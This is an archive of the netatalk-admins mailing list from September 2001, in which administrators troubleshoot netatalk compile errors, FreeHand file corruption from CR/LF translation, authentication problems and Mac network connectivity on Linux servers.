Sebastian Rittau wrote:
> 
> On Thu, Sep 20, 2001 at 12:45:00AM +0200, Magnus Stenman wrote:
> 
> > I have the exact same problem, with RH6.2, and the db libs
> > I got are: db3-3.1.17 (and gdbm-1.8.0)
> >
> > Is there a workaround?
> 
> One workaround is to install newer db3 libs. You can install them
> at a custom location (e.g. /usr/local or /home/whatever) and provide
> a path to them with the configure switch --with-db3=PATH. Another

So, are they statically linked to netatalk?
I'm not comfortable with introducing newer db3 versions on production
systems, with the possible corruption of RPM dtatabsese and stuff...


> workaround is to disable CNID support: --disable-cnid-db.

That does not work, it compiles libatalk/cnid/ anyway...


/magnus

> 
>  - Sebastian

From netatalk.administrators-errors@umich.edu  Fri Sep 21 21:24:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA03747
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Sep 2001 21:24:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA12407
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Sep 2001 21:24:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA12386
	for netatalk.administrators-members@umich.edu; Fri, 21 Sep 2001 21:24:33 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA11913
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 21:24:17 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 24077 invoked from network); 22 Sep 2001 01:22:35 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 22 Sep 2001 01:22:35 -0000
Message-Id: <5.1.0.14.2.20010922032523.017ff6b0@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sat, 22 Sep 2001 03:25:33 +0200
To: netatalk-admins@umich.edu
Subject: subscribe
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed




From netatalk.administrators-errors@umich.edu  Sat Sep 22 02:46:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA16564
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Sep 2001 02:46:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA23374
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Sep 2001 02:46:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA23357
	for netatalk.administrators-members@umich.edu; Sat, 22 Sep 2001 02:46:14 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id CAA23307
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 02:46:13 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 15580 invoked from network); 22 Sep 2001 06:44:32 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 22 Sep 2001 06:44:32 -0000
Message-Id: <5.1.0.14.2.20010922082318.01804b58@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sat, 22 Sep 2001 08:24:32 +0200
To: netatalk-admins@umich.edu
Subject: OS
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

What OS/dist is best for netatalk today?
I have 2 major options: debian or freeebsd.

All the best /Mikko


From netatalk.administrators-errors@umich.edu  Sat Sep 22 09:51:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA28604
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Sep 2001 09:51:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA18355
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Sep 2001 09:51:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA18341
	for netatalk.administrators-members@umich.edu; Sat, 22 Sep 2001 09:51:36 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA18295
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 09:51:35 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id QAA07501
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 16:51:23 +0300 (EET DST)
Date: Sat, 22 Sep 2001 16:51:23 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: netatalk-admins@umich.edu
Subject: Netatalk corrupts FreeHand documents
In-Reply-To: <5.1.0.14.2.20010922082318.01804b58@carme.affordablehost.com>
Message-ID: <Pine.OSF.4.21.0109221643520.14353-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I've have come up with a strange problem. Our AD's save their FreeHand
documents straight to a Netatalk-volume and sometimes when they try to
reopen them, it says that the document isn't a FreeHand document. When you
force it to open in FreeHand, it shows the contents of the file in
ASCII. This happens occasionally and only with FreeHand, which is the
strangest thing. Somehow they get corrupted. FreeHand version is 9.0 with
MacOS 9.0.4 and 8.5.1. My Netatalk setup is Netatalk 1.5.6pre, RedHat 7.1
and Kernel 2.4.7. I don't remember the compile options. I'm happy to give
more detailed information if anyone can help.


From netatalk.administrators-errors@umich.edu  Sat Sep 22 10:14:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA29363
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Sep 2001 10:14:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA29042
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Sep 2001 10:14:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA29029
	for netatalk.administrators-members@umich.edu; Sat, 22 Sep 2001 10:14:26 -0400 (EDT)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA29010
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 10:14:26 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet2.2) with ESMTP id KAA28364;
	Sat, 22 Sep 2001 10:14:19 -0400
Date: Sat, 22 Sep 2001 10:14:19 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
cc: <netatalk-admins@umich.edu>
Subject: Re: Netatalk corrupts FreeHand documents
In-Reply-To: <Pine.OSF.4.21.0109221643520.14353-100000@Platon.sgic.fi>
Message-ID: <Pine.LNX.4.33.0109221012250.7332-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I recall seeing messages in the past that Freehand generates files first
as text, then later changes the type.

http://www.umich.edu/~rsug/netatalk/archive/admins/1998/2328.html

Do you have cr-lf translation turned on for text files? If so, try turning
it off.


 On Sat,
22 Sep 2001, Lasse Lehtinen
wrote:

>
> I've have come up with a strange problem. Our AD's save their FreeHand
> documents straight to a Netatalk-volume and sometimes when they try to
> reopen them, it says that the document isn't a FreeHand document. When you
> force it to open in FreeHand, it shows the contents of the file in
> ASCII. This happens occasionally and only with FreeHand, which is the
> strangest thing. Somehow they get corrupted. FreeHand version is 9.0 with
> MacOS 9.0.4 and 8.5.1. My Netatalk setup is Netatalk 1.5.6pre, RedHat 7.1
> and Kernel 2.4.7. I don't remember the compile options. I'm happy to give
> more detailed information if anyone can help.
>

-- 
Steven Karel, Ph.D.
Biology Department, Brandeis Univ, MS 008
415 South St Waltham MA 02454-9110
TEL 781 736 3104   FAX 781 736 3107


From netatalk.administrators-errors@umich.edu  Sat Sep 22 10:58:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00655
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Sep 2001 10:58:32 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA05025
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Sep 2001 10:58:32 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA05006
	for netatalk.administrators-members@umich.edu; Sat, 22 Sep 2001 10:58:31 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA04957
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 10:58:30 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id RAA31972;
	Sat, 22 Sep 2001 17:58:21 +0300 (EET DST)
Date: Sat, 22 Sep 2001 17:58:21 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Steven Karel <karelsf@brandeis.edu>
cc: netatalk-admins@umich.edu
Subject: Re: Netatalk corrupts FreeHand documents
In-Reply-To: <Pine.LNX.4.33.0109221012250.7332-100000@squirrel.bio.brandeis.edu>
Message-ID: <Pine.OSF.4.21.0109221754140.4009-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Sat, 22 Sep 2001, Steven Karel wrote:

> I recall seeing messages in the past that Freehand generates files first
> as text, then later changes the type.
> 
> Do you have cr-lf translation turned on for text files? If so, try turning
> it off.

I looked at the FAQ and found information about turning the
CR/LF-translation off. I added -nocrlf in the server's configuration line,
is this the correct way? Other option was to remove a line in the 
Makefile. Is there anyway to test this with FreeHand? I would like to
get sure about this.


From netatalk.administrators-errors@umich.edu  Sat Sep 22 13:02:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA04542
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Sep 2001 13:02:58 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA27557
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Sep 2001 13:02:58 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA27539
	for netatalk.administrators-members@umich.edu; Sat, 22 Sep 2001 13:02:57 -0400 (EDT)
Received: from mailout03.sul.t-online.de (mailout03.sul.t-online.com [194.25.134.81])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA27497
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 13:02:56 -0400 (EDT)
Received: from fwd07.sul.t-online.de 
	by mailout03.sul.t-online.de with smtp 
	id 15kqB5-0001IO-03; Sat, 22 Sep 2001 19:02:55 +0200
Received: from supernase.office.bellenberg.de (510000828903-0001@[62.224.35.55]) by fmrl07.sul.t-online.com
	with esmtp id 15kqAu-1oKTg0C; Sat, 22 Sep 2001 19:02:44 +0200
Received: from nase3 (nase3.office.bellenberg.de [192.168.100.113])
	by supernase.office.bellenberg.de (8.11.2/8.11.2) with SMTP id f8MH31731554
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 19:03:01 +0200
Message-ID: <000701c14390$bc81f670$7164a8c0@nase3>
From: "Stephan Bauer" <stephan_bauer@gmx.de>
To: <netatalk-admins@umich.edu>
Subject: Compile Problems with 1.5pre7 on RH 7.1
Date: Sat, 22 Sep 2001 19:02:25 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Sender: 510000828903-0001@t-dialin.net

Hello list,

I'm using Redhat 7.1 and I'm trying to compile the cvs version
of netatalk.

The following error appears:

make[3]: Wechsel in das Verzeichnis
Verzeichnis »/usr/src/redhat/BUILD/netatalk/libatalk/adouble«
/bin/sh ../../libtool --mode=compile
-DHAVE_CONFIG_H -I. -I. -I../..     -O2 -march=i386 -mcpu=i686 -fomit-frame-
pointer -fsigned-char -I/usr/include/db3 -I../../include -I../../sys -I/usr/
include -I/usr/include/openssl -c ad_open.c
libtool: ltconfig version `' does not match ltmain.sh version `1.3.5'
Fatal configuration error.  See the libtool docs for more information.
make[3]: *** [ad_open.lo] Fehler 1


autogen.sh shows
You should update your `aclocal.m4' by running aclocal.

and

configure shows
./configure: acconfig.h: command not found

Could someone help me please.

Regards

Stephan Bauer


From netatalk.administrators-errors@umich.edu  Sat Sep 22 14:53:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA08318
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Sep 2001 14:53:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA02054
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Sep 2001 14:53:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA02045
	for netatalk.administrators-members@umich.edu; Sat, 22 Sep 2001 14:53:52 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA02009
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 14:53:50 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id TAA12241;
	Sat, 22 Sep 2001 19:53:43 +0100
Date: Sat, 22 Sep 2001 19:53:43 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Lasse Lehtinen <blob@sgic.fi>
cc: netatalk-admins@umich.edu
Subject: Re: Netatalk corrupts FreeHand documents
In-Reply-To: <Pine.OSF.4.21.0109221643520.14353-100000@Platon.sgic.fi>
Message-ID: <Pine.LNX.4.21.0109221952580.11643-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Sat, 22 Sep 2001, Lasse Lehtinen wrote:

> 
> I've have come up with a strange problem. Our AD's save their FreeHand
> documents straight to a Netatalk-volume and sometimes when they try to
> reopen them, it says that the document isn't a FreeHand document. When you

What version of netatalk?

older versions defaulted to having CR>LF translation on for TEXT
files. Newer ones default to off.

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sat Sep 22 14:56:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA08427
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Sep 2001 14:56:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA06955
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Sep 2001 14:56:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA06939
	for netatalk.administrators-members@umich.edu; Sat, 22 Sep 2001 14:56:51 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA06887
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 14:56:50 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id TAA12726
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 19:56:49 +0100
Date: Sat, 22 Sep 2001 19:56:49 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: netatalk-admins@umich.edu
Subject: Re: Slackware 8 + netatalk 1.5x problems (fwd)
Message-ID: <Pine.LNX.4.21.0109221956360.11643-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 21 Sep 2001, Mark Guertin wrote:

> Anyone out there tried this combination?
> 
> No matter what I do it seems I can't get any kind of authentication
> happening, not even cleartext works...

Works just peachy for me. I am using a variety of versions of netatalk.

You may have to compile in support for shadow passwords, and / or install
Linux-PAM and use that.

Also, I am careful to removepkg the openssl package as it causes all kinds
of funnies...

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us



From netatalk.administrators-errors@umich.edu  Sat Sep 22 16:01:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA10489
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Sep 2001 16:01:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA10116
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Sep 2001 16:01:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA10100
	for netatalk.administrators-members@umich.edu; Sat, 22 Sep 2001 16:01:10 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA09948
	for <netatalk-admins@umich.edu>; Sat, 22 Sep 2001 16:01:04 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id XAA19247;
	Sat, 22 Sep 2001 23:01:02 +0300 (EET DST)
Date: Sat, 22 Sep 2001 23:01:01 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Alistair Riddell <ali@gwc.org.uk>
cc: netatalk-admins@umich.edu
Subject: Re: Netatalk corrupts FreeHand documents
In-Reply-To: <Pine.LNX.4.21.0109221952580.11643-100000@frank.gwc.org.uk>
Message-ID: <Pine.OSF.4.21.0109222258570.31974-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Sat, 22 Sep 2001, Alistair Riddell wrote:

> > I've have come up with a strange problem. Our AD's save their FreeHand
> > documents straight to a Netatalk-volume and sometimes when they try to
> > reopen them, it says that the document isn't a FreeHand document. When you
> 
> What version of netatalk?
> 
> older versions defaulted to having CR>LF translation on for TEXT
> files. Newer ones default to off.

I posted this in the first message, it's 1.5.6pre. I turned it off and
everything seemed ok as far as I could test it. If it's disabled in
1.5.6pre, the CR/LF wasn't even the case here. Do you have solid
information about this?


From netatalk.administrators-errors@umich.edu  Sun Sep 23 08:35:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA13179
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 23 Sep 2001 08:35:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA20335
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 23 Sep 2001 08:35:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA20314
	for netatalk.administrators-members@umich.edu; Sun, 23 Sep 2001 08:35:06 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA20247
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 08:35:04 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f8NCZ2I07299
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 14:35:02 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f8NCZ2J20123
	for netatalk-admins@umich.edu; Sun, 23 Sep 2001 14:35:02 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15l83M-0003a3-00
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 14:08:08 +0200
Date: Sun, 23 Sep 2001 14:08:08 +0200
To: netatalk-admins@umich.edu
Subject: Re: Compile Problems with 1.5pre7
Message-ID: <20010923140808.B3332@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <sba868b6.041@keam1> <20010919193853.C1845@jroger.in-berlin.de> <3BA91FEC.D4B895AD@hkust.se> <20010921232002.B4035@jroger.in-berlin.de> <3BABD171.63BFC51A@hkust.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3BABD171.63BFC51A@hkust.se>
User-Agent: Mutt/1.3.20i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sat, Sep 22, 2001 at 01:46:57AM +0200, Magnus Stenman wrote:
> Sebastian Rittau wrote:

> > One workaround is to install newer db3 libs. You can install them
> > at a custom location (e.g. /usr/local or /home/whatever) and provide
> > a path to them with the configure switch --with-db3=PATH. Another
> 
> So, are they statically linked to netatalk?

You can probably force them to be.

> I'm not comfortable with introducing newer db3 versions on production
> systems, with the possible corruption of RPM dtatabsese and stuff...

I agree.

> > workaround is to disable CNID support: --disable-cnid-db.
> 
> That does not work, it compiles libatalk/cnid/ anyway...

I see. I will put that on my to do list.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Sep 23 20:46:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA06611
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 23 Sep 2001 20:46:35 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA02203
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 23 Sep 2001 20:46:35 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA02191
	for netatalk.administrators-members@umich.edu; Sun, 23 Sep 2001 20:46:35 -0400 (EDT)
Received: from stargate.sunsetd.com ([207.109.249.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA02148
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 20:46:33 -0400 (EDT)
Received: from buckwheat (653273hfc55.tampabay.rr.com [65.32.73.55])
	by stargate.sunsetd.com (8.9.3/8.8.7) with SMTP id RAA16687
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 17:46:35 -0700
Message-Id: <200109240046.RAA16687@stargate.sunsetd.com>
From: Cory Riddell <bor@c-riddell.com>
To: <netatalk-admins@umich.edu>
X-Mailer: PocoMail 2.5 (974) - Registered Version
Date: Sun, 23 Sep 2001 20:53:22 -0400
In-Reply-To: <200109212219.PAA29044@stargate.sunsetd.com>; from bor@c-riddell.com on Fri, Sep 21, 2001 at 18:26:30 -0400
References: <200109212219.PAA29044@stargate.sunsetd.com> <20010921193714.K30752@crow.avwashington.com>
Subject: Re: mac eventually can't see the internet
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA06611

Thanks for the reply.  I don't think it is a hardware problem because 
the mac can still see the rest of the network, just not the internet 
(no http, no email).  I've answered some of your questions below.

If you (or anybody on the list) can suggest other diagnostics, I 
would greatly appreciate the help.

On Fri, 21 Sep 2001 19:37:14 -0400, Chip Mefford wrote:
>First, to trouble shoot the network, don't do it
>all in one bite. Turn ipchains off. Does it work?
Do you mean turn ipchains off after the mac can no longer see the 
internet?  I'm afraid to run without ipchains because my machine was 
recently rooted.  That's why this is a fresh install of RH7.1  :)

>Or does it not. If so, look there, if not,
>what are all of those collisions about?
I did a little research about the collisions and it seems the biggest 
problem here is running the NICs in full duplex.  I have checked all 
of the cards on my network and all are running half duplex.  I 
downloaded Apple's duplexer extension to ensure it was running at 
half duplex.

>Are you running any printers?
Yes.  I have an ink-jet on the linux box that the mac can see and 
print to.

>What ver OS on the mac?
8.6

>What do the logs say?
Which logs?  The last part of /var/log/messages says:
Sep 23 20:00:25 porky kernel: NET4: AppleTalk 0.18a for Linux NET4.0
Sep 23 20:00:25 porky atalkd[1011]: restart (1.4b2+asun2.1.4)
Sep 23 20:00:26 porky smb: smbd startup succeeded
Sep 23 20:00:26 porky smb: nmbd startup succeeded
Sep 23 20:00:26 porky anacron: anacron startup succeeded
Sep 23 20:00:26 porky atalkd[1011]: zip_getnetinfo for eth1
Sep 23 20:00:27 porky linuxconf: Running Linuxconf hooks:  succeeded
Sep 23 20:00:35 porky atalkd[1011]: zip_getnetinfo for eth1
Sep 23 20:00:45 porky atalkd[1011]: zip_getnetinfo for eth1
Sep 23 20:00:55 porky atalkd[1011]: config for no router
Sep 23 20:00:56 porky atalkd[1011]: ready 0/0/0
Sep 23 20:00:56 porky atalk: atalkd startup succeeded
Sep 23 20:01:09 porky papd[1087]: restart (1.4b2+asun2.1.4)
Sep 23 20:01:09 porky atalk: papd startup succeeded
Sep 23 20:01:09 porky atalk: afpd startup succeeded
Sep 23 20:01:15 porky papd[1087]: register HP697C:LaserWriter@*
Sep 23 20:01:15 porky afpd[1092]: porky:AFPServer@* started on 
65280.178:130 (1.4b2+asun2.1.4)
Sep 23 20:01:15 porky afpd[1092]: ASIP started on 127.0.0.1:548(1) 
(1.4b2+asun2.1.4)
Sep 23 20:01:15 porky afpd[1092]: uam: uams_guest.so loaded
Sep 23 20:01:15 porky afpd[1092]: uam: uams_clrtxt.so loaded
Sep 23 20:01:15 porky afpd[1092]: uam: uams_dhx.so loaded
Sep 23 20:01:15 porky afpd[1092]: uam: "DHCAST128" available
Sep 23 20:01:15 porky afpd[1092]: uam: "Cleartxt Passwrd" available
Sep 23 20:01:15 porky afpd[1092]: uam: "No User Authent" available
Sep 23 20:29:54 porky gdm(pam_unix)[1066]: session opened for user 
root by (uid=0)
